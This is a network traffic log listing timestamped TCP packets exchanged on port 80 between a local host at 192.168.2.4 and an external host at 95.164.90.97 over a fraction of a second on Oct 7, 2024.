Oct 7, 2024 03:15:48.407315969 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407320023 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407339096 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407351971 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407355070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407371044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407372952 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407399893 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407414913 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407416105 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407437086 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407444000 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407461882 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407476902 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407480001 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407494068 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407500029 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407526970 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407527924 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407543898 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407560110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407563925 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407574892 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407602072 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407607079 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407618999 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407624006 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407639980 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407651901 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407658100 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407675982 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407684088 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407691956 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407701015 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407708883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407753944 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407759905 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407778025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407793999 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407799959 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407835960 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407836914 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407852888 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407881021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407883883 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407897949 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407911062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407916069 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407932997 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407938004 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407958031 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407960892 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407975912 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.407988071 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.407994032 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408021927 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.408056021 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.408077002 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408093929 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408108950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408117056 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.408127069 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408137083 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.408157110 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.408179045 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.408194065 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408210993 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408226013 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408236980 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.408241987 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408253908 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.408258915 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408274889 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408277035 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.408293009 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408322096 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408338070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408340931 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.408340931 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.408354998 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408374071 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.408375978 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408391953 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408409119 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408409119 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.408446074 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.408466101 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408493042 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408504963 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.408509970 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408526897 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408539057 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.408543110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408562899 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.408570051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408586979 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408596992 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.408602953 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408618927 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408629894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.408636093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408663988 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408673048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.408680916 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408693075 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.408701897 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408720970 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408727884 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.408736944 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408754110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408767939 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.408770084 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408788919 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.408796072 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.408814907 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.408849001 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.430668116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.430725098 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.430782080 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.430799007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.430814981 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.430823088 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.430831909 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.430844069 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.430851936 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.430869102 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.430869102 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.431031942 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.493093014 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493127108 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493143082 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493169069 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493185997 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493201971 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493216991 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493232965 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493247986 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.493307114 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.493336916 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493361950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493381023 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.493406057 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493423939 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.493449926 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.493485928 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493511915 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493525028 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.493525982 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493547916 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493549109 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.493572950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493575096 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.493593931 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493601084 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.493611097 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493624926 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493624926 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.493643045 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493657112 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.493697882 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.493737936 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493757010 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493782997 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.493784904 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493801117 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493817091 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493828058 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.493843079 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493848085 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.493860006 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493874073 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493885040 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.493899107 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493913889 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493916988 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.493940115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493941069 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.493956089 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.493980885 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.493985891 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494004011 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494018078 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494031906 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.494034052 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494050026 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494066000 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494085073 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494086981 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.494096994 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.494117022 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.494143963 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494157076 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494173050 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494201899 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494204044 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.494225979 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494240999 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494260073 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494277954 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494294882 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494302034 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494302034 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.494302034 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.494314909 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.494332075 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494333029 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.494350910 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494365931 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494369030 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.494384050 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494402885 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.494409084 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494424105 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.494429111 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494447947 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494458914 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.494467974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494478941 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.494484901 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494501114 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494503021 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.494515896 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494540930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494544029 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.494565964 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494569063 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.494585991 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494600058 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494611979 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.494616032 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494632006 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494646072 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.494657040 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494673014 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494673967 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.494689941 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494698048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.494708061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494723082 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494740009 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.494745970 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494771004 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494781017 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.494791031 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494800091 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.494817019 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494832993 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494836092 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.494851112 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494867086 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494879007 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.494910002 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.494925022 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494940996 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494956017 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494968891 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.494981050 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.494996071 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.495003939 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.495013952 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.495028019 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.495043039 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.495043039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.495062113 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.495069027 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.495078087 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.495089054 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.495095015 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.495121956 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.495126009 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.495136976 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.495153904 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.495163918 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.495172024 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.495187998 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.495189905 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.495213985 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.495234013 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.495248079 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.495250940 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.495268106 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.495274067 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.495285034 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.495296001 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.495321035 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.495327950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.495343924 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.495359898 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.495376110 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.495376110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.495407104 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.495413065 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.495450020 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.495486021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.495501041 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.495517015 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.495528936 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.495533943 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.495549917 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.495563984 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.495569944 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.495582104 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.495600939 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.495606899 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.495630980 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.495662928 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.517565966 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.517662048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.517667055 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.517684937 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.517703056 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.517714024 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.517719030 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.517736912 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.517746925 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.517756939 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.517793894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.517821074 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.580307007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580324888 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580341101 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580369949 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580394983 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580413103 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580431938 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580451965 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580481052 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580497980 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580513954 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580540895 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.580543995 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580540895 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.580540895 CEST	49737	80	192.168.2.4	95.164.90.97
